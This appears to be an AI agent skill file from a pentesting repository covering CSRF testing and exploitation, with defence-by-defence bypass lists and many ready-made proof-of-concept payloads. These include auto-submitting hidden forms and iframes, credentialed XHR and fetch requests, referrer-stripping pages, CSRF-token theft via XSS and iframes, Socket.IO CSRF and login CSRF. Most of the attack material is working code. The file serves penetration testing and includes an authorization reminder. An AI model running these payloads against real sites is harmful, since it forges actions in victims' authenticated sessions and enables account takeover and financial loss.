Hacktricks-skills csrf-testing
Cross-Site Request Forgery (CSRF) vulnerability testing and exploitation. Use this skill whenever the user mentions CSRF, cross-site request forgery, form submission attacks, session hijacking, web security testing, or needs to test web applications for CSRF vulnerabilities. Trigger for any request involving CSRF token bypass, CSRF PoC generation, or CSRF defense analysis.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/csrf-cross-site-request-forgery/SKILL.MDCSRF Testing Skill
A comprehensive skill for identifying, testing, and exploiting Cross-Site Request Forgery (CSRF) vulnerabilities in web applications.
When to Use This Skill
Use this skill when:
- Testing web applications for CSRF vulnerabilities
- Generating CSRF proof-of-concept (PoC) payloads
- Analyzing CSRF token implementations and bypass techniques
- Reviewing CSRF defense mechanisms
- Converting POST requests to GET for CSRF testing
- Testing method override bypasses
- Exfiltrating CSRF tokens via XSS or other injection vectors
- Creating automated CSRF testing workflows
CSRF Fundamentals
What is CSRF?
Cross-Site Request Forgery (CSRF) is a web security vulnerability that allows attackers to perform actions on behalf of authenticated users by exploiting their active sessions. The attack works by tricking the victim's browser into sending requests to a target application while the user is logged in.
Prerequisites for CSRF Exploitation
- Valuable Action: Identify state-changing operations (password change, email update, privilege escalation, fund transfer)
- Session Management: User session must be managed via cookies or HTTP Basic Auth
- No Unpredictable Parameters: Request should not contain unpredictable tokens or values
Quick CSRF Check
Capture the request in Burp Suite and:
- Click "Copy as fetch" to inspect the request
- Check for CSRF tokens in parameters or headers
- Verify SameSite cookie attributes
- Test if the request works without CSRF protection
Defense Mechanisms and Bypasses
1. SameSite Cookies
Defense:
SameSite=Strict or SameSite=Lax prevents cross-site cookie transmission.
Bypass:
SameSite=Lax still allows top-level navigations (links, form GETs). Many GET-based CSRFs remain possible.
2. CSRF Tokens
Defense: Unique token per session, validated on state-changing requests.
Bypasses:
- Missing Token Validation: Token parameter exists but isn't validated when absent
- Empty Token Accepted:
with empty value passes validationcsrf= - Global Token Pool: Token not bound to user session, works across all users
- Token in Cookie Only: Can be set via CRLF injection or other cookie manipulation
3. Referer/Origin Header Checks
Defense: Validate
Referer or Origin headers match trusted domains.
Bypasses:
- Omit Header:
<meta name="referrer" content="never"> - Substring Matching:
orhttp://example.com.mal.nethttp://mal.net?orig=http://example.com - Query Parameter Injection: Set domain in URL query string with
referrer policyunsafe-url
4. Method-Based Validation
Defense: Only validate CSRF on POST requests.
Bypasses:
- POST to GET: If endpoint accepts
, convert POST to GET$_REQUEST - Method Override: Use
or headers like_method=DELETEX-HTTP-Method-Override - HEAD Method: Some routers process HEAD as GET without body
5. Content-Type Based
Defense: Validate specific Content-Type headers.
Bypasses:
- Simple Request Types:
,application/x-www-form-urlencoded
,multipart/form-data
avoid preflighttext/plain - JSON as text/plain: Send JSON payload with
enctype="text/plain" - Custom Content-Type:
may bypass preflighttext/plain; application/json
CSRF PoC Templates
Basic GET Request (Image Tag)
<img src="https://target.com/action?param=value" style="display:none" />
Basic GET Request (Form)
<html> <body> <script>history.pushState("", "", "/")</script> <form method="GET" action="https://target.com/action"> <input type="hidden" name="param" value="value" /> <input type="submit" value="Submit" /> </form> <script>document.forms[0].submit()</script> </body> </html>
Basic POST Request (Form)
<html> <body> <script>history.pushState("", "", "/")</script> <form method="POST" action="https://target.com/action" id="csrf-form"> <input type="hidden" name="param" value="value" /> <input type="submit" value="Submit" /> </form> <script>document.forms[0].submit()</script> </body> </html>
POST with Method Override
<form method="POST" action="https://target.com/action"> <input type="hidden" name="_method" value="DELETE" /> <input type="hidden" name="param" value="value" /> <button type="submit">Submit</button> </form>
POST with Empty CSRF Token
<form method="POST" action="https://target.com/action"> <input type="hidden" name="param" value="value" /> <input type="hidden" name="csrf" value="" /> <button type="submit">Submit</button> </form>
POST via Hidden Iframe
<html> <body> <iframe style="display:none" name="csrf-frame"></iframe> <form method="POST" action="https://target.com/action" target="csrf-frame"> <input type="hidden" name="param" value="value" /> <button type="submit">Submit</button> </form> <script>document.forms[0].submit()</script> </body> </html>
AJAX POST Request
<script> var xhr = new XMLHttpRequest(); xhr.withCredentials = true; xhr.open("POST", "https://target.com/action"); xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xhr.send("param=value"); </script>
Multipart Form Data POST
<script> var formData = new FormData(); var blob = new Blob(["file content"], { type: "text/plain" }); formData.append("file", blob, "filename.txt"); fetch("https://target.com/action", { method: "POST", body: formData, credentials: "include", mode: "no-cors" }); </script>
JSON as text/plain (Bypass Preflight)
<html> <body> <form id="form" method="post" action="https://target.com/action" enctype="text/plain"> <input name='{"key":"' value='"value"}' /> </form> <script>document.getElementById("form").submit()</script> </body> </html>
Referrer Header Bypass
<html> <head> <meta name="referrer" content="unsafe-url" /> </head> <body> <script>history.pushState("", "", "?target-domain.com")</script> <form method="POST" action="https://target.com/action"> <input type="hidden" name="param" value="value" /> <button type="submit">Submit</button> </form> <script>document.forms[0].submit()</script> </body> </html>
Referrer Header Omission
<html> <head> <meta name="referrer" content="never" /> </head> <body> <form method="POST" action="https://target.com/action"> <input type="hidden" name="param" value="value" /> <button type="submit">Submit</button> </form> <script>document.forms[0].submit()</script> </body> </html>
Advanced Exploitation Techniques
Token Exfiltration via XSS
If XSS is available, extract CSRF token and use it:
function stealAndUseToken() { var xhr = new XMLHttpRequest(); xhr.responseType = "document"; xhr.withCredentials = true; xhr.open("GET", "https://target.com/page-with-token"); xhr.onload = function() { var token = xhr.response.getElementById("csrf-token").value; var postXHR = new XMLHttpRequest(); postXHR.withCredentials = true; postXHR.open("POST", "https://target.com/action"); postXHR.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); postXHR.send("csrf=" + token + "¶m=value"); }; xhr.send(); }
Token Exfiltration via Iframe
<form id="form1" action="https://target.com/action" method="post"> <input type="hidden" name="token" id="token" value="" /> <input type="hidden" name="param" value="value" /> </form> <iframe id="i1" style="display:none" src="https://target.com/page-with-token" onload="extractToken()"></iframe> <script> function extractToken() { var iframe = document.getElementById("i1"); var iframeDoc = iframe.contentWindow || iframe.contentDocument; var token = iframeDoc.document.getElementById("csrf-token").value; document.getElementById("token").value = token; document.getElementById("form1").submit(); } </script>
Socket.IO CSRF
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script> <script> let socket = io("https://target.com/socket"); socket.on("connect", () => { socket.emit("action", { data: "malicious-payload" }); }); </script>
Login CSRF (Chain with Stored XSS)
<html> <body> <form action="https://target.com/login" method="POST"> <input type="hidden" name="username" value="attacker@example.com" /> <input type="hidden" name="password" value="StrongPass123!" /> <input type="submit" value="Login" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); // Redirect to page with stored XSS // location = 'https://target.com/app/inbox'; </script> </body> </html>
Testing Workflow
Step 1: Identify State-Changing Endpoints
- Map all POST, PUT, DELETE, PATCH endpoints
- Look for actions: password change, email update, profile edit, fund transfer, settings modification
- Check for GET endpoints that perform state changes
Step 2: Analyze CSRF Protections
- Check for tokens: Look for
,csrf
,token
,_token
in forms/headers__csrf_token - Check cookies: Examine
attributeSameSite - Check headers: Look for
,X-CSRF-Token
, custom headersX-XSRF-TOKEN - Check Referer/Origin validation: Test with missing or modified headers
Step 3: Test Bypass Techniques
- Remove token: Submit request without CSRF token parameter
- Empty token: Submit with
orcsrf=token= - Method change: Convert POST to GET, test HEAD method
- Method override: Add
or override headers_method=DELETE - Content-Type change: Try
,text/plain
with different encodingsapplication/json - Header manipulation: Omit Referer, modify Origin
Step 4: Generate PoC
Use the templates above or run the PoC generator script:
python scripts/csrf-poc-generator.py --url "https://target.com/action" --method POST --params "param=value" --output poc.html
Common HTML Tags for GET CSRF
<img src="https://target.com/action?param=value" /> <iframe src="https://target.com/action?param=value"></iframe> <script src="https://target.com/action?param=value"></script> <embed src="https://target.com/action?param=value" /> <audio src="https://target.com/action?param=value"></audio> <video src="https://target.com/action?param=value"></video> <link rel="stylesheet" href="https://target.com/action?param=value" /> <object data="https://target.com/action?param=value"></object> <body background="https://target.com/action?param=value"> <div style="background: url('https://target.com/action?param=value')"></div> <bgsound src="https://target.com/action?param=value" /> <input type="image" src="https://target.com/action?param=value" />
Tools
- Burp Suite Professional: Built-in CSRF PoC generator
- XSRFProbe: https://github.com/0xInfection/XSRFProbe
- CSRF PoC Generator: https://github.com/merttasci/csrf-poc-generator
References
Important Notes
- Always get authorization before testing CSRF on any application
- Document findings with working PoCs for responsible disclosure
- Consider impact: Some CSRF vulnerabilities can lead to account takeover, data theft, or financial loss
- Chain vulnerabilities: CSRF + XSS = severe impact; CSRF + IDOR = privilege escalation
- Test in context: CSRF behavior may vary based on user role, session state, and application configuration